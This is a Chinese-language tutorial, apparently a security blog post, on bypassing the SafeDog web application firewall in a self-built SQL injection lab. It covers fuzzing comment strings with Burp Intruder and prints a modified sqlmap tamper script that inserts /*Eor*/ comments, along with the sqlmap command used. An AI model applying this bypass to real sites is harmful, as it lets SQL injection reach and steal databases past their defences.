0×00 前言

本文使用了burp的intruder模塊進行fuzz,並修改了sqlmap工具的tamper腳本,對安全狗進行繞過。

0×01注入繞waf過常用手法

使用大小寫繞過

使用/**/註釋符繞過

使用大的數據包繞過

使用/!**/註釋符繞過

……

0×02本文使用的手法是/**/註釋符

首先搭建好一個有sql注入的測試平臺,在服務器安裝安全狗4.0版本

中間件和數據庫使用的是apache+mysql+php(如圖下)

訪問搭建好有sql注入點的網站:

先進行簡單測試

使用大小寫加/**/註釋

訪問被攔截

使用burp進行對剛剛注入點進行抓包

放到重發功能repeater裏面,修改id後面的值,以便等下方便爆破

修改方法,就是儘量sql語句簡單,而且可以觸發安全狗

以爲使用到/**/註釋符號來代替空格,使用盡量sql語句只留一個空格,又能觸發安全狗

我的構造,剛剛好闊以觸發安全狗

然後接下來就是fuzz,看看哪一個字符能繞過安全狗啦

把數據包放到intuder裏面

爆破點如上圖

設置如上圖,字典是一些sql語句,網上有很多這種字典

開始fuzz

如果有攔截就會是這樣子

成功繞過安全狗攔截,如下圖

說明該/*Eor*/這個註釋符可以繞過安全狗

簡單測試/*Eor*/這個註釋符

點擊確認

發現and/*Eor*/1=2會被攔截

不清楚fuzz時候不攔截,手動就攔截了

沒關係,使用sqlmap工具

打開sqlmap使在文件下面的文件夾tamper/concat2concatws.py

修改代碼:

#!/usr/bin/env python2

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*Eor*/"
                continue

            retVal += payload[i]

    return retVal

使用命令:python2 sqlmap.py -r 1.txt –tamper=space2comment

開始sql注入

成功利用

相關文章